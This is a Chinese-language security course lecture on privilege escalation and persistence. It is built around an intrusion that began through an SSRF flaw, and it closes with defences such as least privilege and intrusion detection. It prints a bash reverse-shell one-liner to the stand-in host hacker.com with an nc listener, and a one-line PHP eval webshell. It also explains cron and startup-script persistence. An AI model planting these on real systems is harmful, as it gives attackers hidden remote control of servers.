<audio id="audio" title="12 | 权限提升和持久化：为什么漏洞修复了，黑客还是能够自由进出？" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/72/13/727579dcd61b6e0d4f8a3450cae40c13.mp3"></audio>

你好，我是何为舟。

我在Web安全的前6讲中，给你讲解了各种漏洞的产生和防护方法，比如：XSS、SQL注入、CSRF、SSRF和插件漏洞。除了这些漏洞之外，我也着重强调了一点，黑客善于通过“蛛丝马迹”推断出代码逻辑，然后发起攻击。学习了这些内容，在实际工作的过程中，我们其实就能基本避免大部分的Web安全问题了。但是，有一天，我又遇到了新的问题。

某一天，当我在进行日常审计的时候，突然发现内网有黑客的操作痕迹。于是，我马上对黑客的攻击路径进行溯源。最后发现黑客是通过某个应用的SSRF漏洞进入的。

之前我们提到过，SSRF通常用来作内网探测，那么黑客是如何通过SSRF拿到服务器权限的呢？更神奇的是，这个存在SSRF漏洞的应用，在排查的时候早已经下线了。那么，黑客是如何在漏洞已经下线的情况下，仍然能够进出内网呢？

## 权限提升：为什么黑客能通过SSRF拿到服务器权限？

首先，我们先来搞清楚，黑客是如何通过SSRF拿到服务器权限的。在解决这个问题之前，我们先来了解一个概念，权限提升。

在应用或系统中，黑客或者被黑客控制的用户，通常会通过漏洞攻击或者利用弱密码，获取到其他用户的权限。在获取了新的用户权限之后，黑客就能够以新用户的身份去窃取和篡改数据，进行非法的操作了。这就是**权限提升**（Privilege Escalation）。也就是说，黑客可以通过不断获取新的身份，来不断扩大（或者叫提升）自己的权限，不断扩大攻击影响，最终实现控制整个系统。

好了，现在你应该知道权限提升是什么了。事实上，权限提升还可以根据攻击效果分为两类，即水平提升和垂直提升。

**水平提升**是指黑客获取了另外一个“平级”用户的权限。尽管权限等级没变，但因为黑客控制的用户身份发生了变更，所以黑客能够获得新的数据和权限。比如，常见的普通用户被盗号就是一种水平提升。黑客本来只能够登录自己的账号，但他却通过破解密码的方式，登录到其他用户的账号，从而可以查看他人的个人信息，利用他人账号进行交易转账。

相比较来说，**垂直提升**的危害性更大。通过垂直越权，黑客能够获得一个更高级别的权限，通常来说，是应用的管理员或系统的ROOT权限。拥有高等级权限后，黑客自然就能够获取到大部分的数据了。除此之外，通过高等级的权限，黑客还能够禁用审计功能、删除相关日志，从而隐匿自己的行踪，让你无法发现攻击事件的存在。

前面我讲过，在我经历的这个事件中，黑客是利用[SSRF](https://time.geekbang.org/column/article/182074)漏洞进入的内网，那在了解权限提升的原理和分类之后，我们接着来分析一下，黑客是如何通过SSRF漏洞做到权限提升的。

首先，这个SSRF是有回显的，所有内网请求的响应都能够直接被黑客看到。所以，黑客利用.svn文件的信息泄露，一点一点请求内网的各种地址，最终获得了一台服务器上的代码。获得代码之后，黑客通过分析，知道这个服务器存在SQL注入漏洞。于是，黑客通过SQL注入，成功在这台服务器上执行了命令。然后，黑客就开始对内网进行SSH扫描，最终以用户名“root”和密码“123456”，成功获得了一台内网服务器的ROOT权限。

<img src="https://static001.geekbang.org/resource/image/3f/dc/3fb9787fed96a3e8393554b1883bdfdc.jpeg" alt="">

事实上，几乎所有的漏洞和攻击（包括前面讲到的几个Web漏洞）都可能导致权限提升。总体来说，权限提升的方法可以分为下面这两种。

- 窃取身份：前面我们讲过，身份认证的相关风险和攻击包括：无认证、弱密钥、认证信息泄露和认证环节破解等。这些攻击的最终结果其实都一样，就是黑客成功登录了他人的账号，也就意味着权限提升的发生。
- 利用漏洞获得权限：从行业现状来说，对于补丁管理的工作普遍做得不到位，各种有漏洞的系统和插件仍在大量使用。因此，权限提升最普遍的方法还是利用漏洞获得权限。这其中，既包括已公开的漏洞，比如上节课中提到的“脏牛”，还包括很多资深黑客所掌握的“0 day”漏洞。

## 权限持久化：为什么漏洞修复了，还有“后门”？

好了，现在你已经知道了，黑客可以利用漏洞攻入应用，最终实现了权限提升，那我们修复了这个漏洞是不是就能避免权限提升的发生呢？当然不是，在开头的例子中，带有SSRF漏洞的应用也已经被下线了呀，那为什么黑客还是能够自由进出呢？下面，我就详细来说一说。

### 什么是“后门”？

想要解决这个问题，我们先要来看一下“后门”的概念。当黑客通过权限提升，成功获取到一个高级别的权限后，为了保留这个权限，黑客会在应用中留下一个隐藏的进程，下次只要黑客想再次进入，就可以通过这个进程来连通，而不需要再次去绕过各种安全流程。这就是“后门”。也就是说，“后门”能够让你在不经过正常流程的情况下，就直接获得一些权限。

在我前面讲的例子中，黑客就是在攻进系统后，给自己留下了一个“后门”，开辟了一条非正规的快速通道。那黑客是怎么操作的呢？

比如说，黑客在进入服务器之后，会留下下面这样一个脚本，让这个脚本，每分钟都执行一次：

```
bash -i &gt;&amp; /dev/tcp/hacker.com/8080 0&gt;&amp;1

```

这个脚本运行后，只要hack.com的8080端口打开，那么服务器就会通过TCP获取8080端口返回的命令并执行。因此，只要黑客任意时刻在hacker.com中监听8080端口（比如通过nc -l 8080），就可以获得服务器定时送上来的命令执行权限。

所以，不管漏洞是否修复，黑客都可以通过这个快速通道轻松进入系统。**而“后门”的关键意义就在于，为黑客长时间保持高权限的通道，使得黑客能够进行长时间的潜伏和攻击。**

比较有意思的是，“后门”不仅仅是为黑客服务的，正常的应用中可能也会留下一些“后门”以备特殊情况。比如，2008年，微软曾进行过一次打击盗版Windows的行动，当时国内的盗版Windows在同一时间出现了黑屏现象。显然，微软不可能知道所有人的管理员密码，但是微软会通过预留的“后门”实现对系统的控制。类似情况还有很多，比如，管理员在特殊情况下（比如忘记密码），可以通过“后门”对应用进行一些操作。

### “后门”是如何工作的？

接着，新问题又来了，既然修复漏洞之后，黑客依然可以通过“后门”自由进出，那我们该如何关掉这个“后门”呢？我们先来看看“后门”是如何工作的，知道了它的工作原理，我们才能“对症下药”，从根本上解决问题。

我们前面课程讲过的所有攻击方式，通常都是为了造成一些显式的攻击。而“后门”的目的则不同，“后门”会尽力隐藏自己不被别人发现。因此，“后门”通常会以木马的形式出现。

所谓**木马**（Trojan），就是一些外表看起来正常，但会对应用和系统进行破坏的服务和进程。比如，很早之前流行过的“[灰鸽子](https://baike.baidu.com/item/%E7%81%B0%E9%B8%BD%E5%AD%90%E6%9C%A8%E9%A9%AC/3013692)”木马，就是和正常的应用绑定在一起。这样“灰鸽子”就能在应用运行的时候监控应用的全部操作了（屏幕、键盘、摄像头等）。又因为应用正常的功能不会受到影响，所以，用户几乎感知不到“灰鸽子”的存在。

那木马可不可以不依附于应用，直接隐藏自己呢？当然可以。那么，“后门”就发展成了Rootkit。通常来说，Rootkit会驻扎于内核中，通过修改内核的逻辑来完成“后门”的功能。因为内核具备较高的权限，所以Rootkit就能破坏杀毒软件这样的安全进程，而不被轻易发现。同样地，因为Rootkit驻扎在内核中，理论上，除了重装系统以外，没有其他更好的方式来根除“后门”。

除了以隐藏进程的形式运行“后门”，黑客也可以把“后门”留在正常的Web服务中，这就变成了WebShell。在PHP中，最简单的一句WebShell如下：

```
&lt;?php @eval($_POST['shell']);?&gt;)

```

只要将这个PHP文件放到Web服务的目录中，黑客就可以通过在POST参数中填入Shell命令远程操控服务器。

总之，“后门”通常会以木马、Rootkit或者WebShell等比较隐蔽的形式运行在系统中。而黑客可以通过和“后门”的直接通信，来获得服务器的操控权限。

### 黑客如何将“后门”植入到系统？

好了，现在你应该知道“后门”是如何工作的了，那黑客又是怎么将“后门”植入系统的呢？

毫无疑问，最直接的方式就是通过权限提升，即黑客直接获取到系统的命令执行权限，然后通过网络将“后门”程序从云端下载下来。

除此之外，黑客还可以通过**文件上传漏洞**向服务器上传一个程序。在使用应用的时候，用户经常需要上传一些文件，比如：头像的图片、邮件附件和简历等。很多时候，开发人员为了方便，会直接将上传的文件存储到当前目录，也就是Web服务的目录中。这个时候，如果黑客上传的是一个PHP文件，那么这个PHP文件就会被放入到Web服务的目录中。因此，黑客只需要上传一个包含WebShell的PHP文件，就成功了植入了一个“后门”。

通过权限提升或者文件上传漏洞成功植入“后门”之后，黑客还需要保证“后门”的持久化。因此，“后门”需要常驻于系统的后台，并能够随着系统的开关机而启动。为了实现这个目的，黑客通常会在定时任务（crontab）或者开机启动项（inittab、rc.local）的配置中，加上“后门”的执行命令。

除此之外，黑客还可以利用伴随于系统的常驻进程来保证“后门”的持久化。对于WebShell来说，只要Web服务保持可用，那么WebShell也一直可用。对于Rootkit来说，它们会直接篡改内核的初始函数来进行自启动，也就更难被发现和去除。

总之，持久化要么是通过定时任务、开机启动等方式来实现，要么就是通过伴随于系统的常驻进程来实现。

## 面对权限提升和持久化，该怎么进行防护？

好了，现在你应该已经知道，权限提升和持久化的原理和攻击方式了。那面对权限提升和持久化，我们该如何防护呢？这里我为你介绍两种常见的防护方法，它们分别是：最小权限原则和IDS。下面，我们一起来看。

首先，最基础的防护是从制度和技术上去落实**最小权限原则**。所谓最小权限原则，就是给每一个用户和进程等，只分配它们需要用到的权限。从技术实现上来说，可以通过配置一定的访问控制策略来进行强化，比如在Linux中给予特定进程单独的角色权限等，这部分内容我会在后续的课程中详细介绍。通过最小权限原则的落实，你就能够限制黑客在每一次权限提升时得到的收益，甚至阻断黑客权限提升的可能。

其次，就是利用**IDS（**Intrusion Detection System，**入侵检测系统）**对黑客的异常行为进行检测。IDS的检测原理就是，通过分析正常用户和黑客在网络层或者主机层中的行为异同，来识别黑客的攻击。比如，正常用户不会去连接内网中不相干的主机，而黑客则必须通过扫描去探测内网等。

如果黑客已经在进行权限提升和持久化的操作了，这就意味着应用和系统已经出现了各种漏洞。因此，在这个前提下，我们要考虑的不是如何去修复和避免漏洞，而是在出现漏洞后，如何降低损失并尽早发现漏洞。这其实也是安全中纵深防御的一种思想：**对不同的层级进行不同的防御，即使前面层漏过了，下一层还能够接着进行防护**。

## 总结

好了，今天的内容讲完了。我们来一起总结回顾一下，你需要掌握的重点内容。

我们知道了，在进入一个系统后，黑客会进行一系列的操作来扩大自己的权限和攻击影响，这些操作可以被概括为权限提升和权限持久化。权限提升就是利用各种漏洞进行水平或者垂直的扩展，去获得新的身份和权限。权限持久化则是留下“后门”，并保持“后门”的长期有效性。

为了阻止黑客的进一步攻击行动，我们需要对应用和系统进行相应的防御和检测。最基本的就是强化最小权限原则，限制黑客权限提升的收益。其次就是对一些异常的入侵行为进行检测，通过分析在网络层或者主机层中，正常用户和黑客的行为异同，从而及时发现黑客的行为。

好了，我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺，也可以自己来梳理看看，加深印象。

<img src="https://static001.geekbang.org/resource/image/ce/1e/ce153d369fbec8002d90e2ff37ecc31e.jpg" alt="">

## 思考题

最后，给你留一个思考题。

想象一下，现在你是一个黑客，你已经拥有了服务器的普通用户权限（相信你确实有）。那么，基于这个权限你能够进行哪些操作呢？这些操作会对应用和公司的安全产生哪些影响？

欢迎留言和我分享你的思考和疑惑，也欢迎你把文章分享给你的朋友。我们下一讲再见！
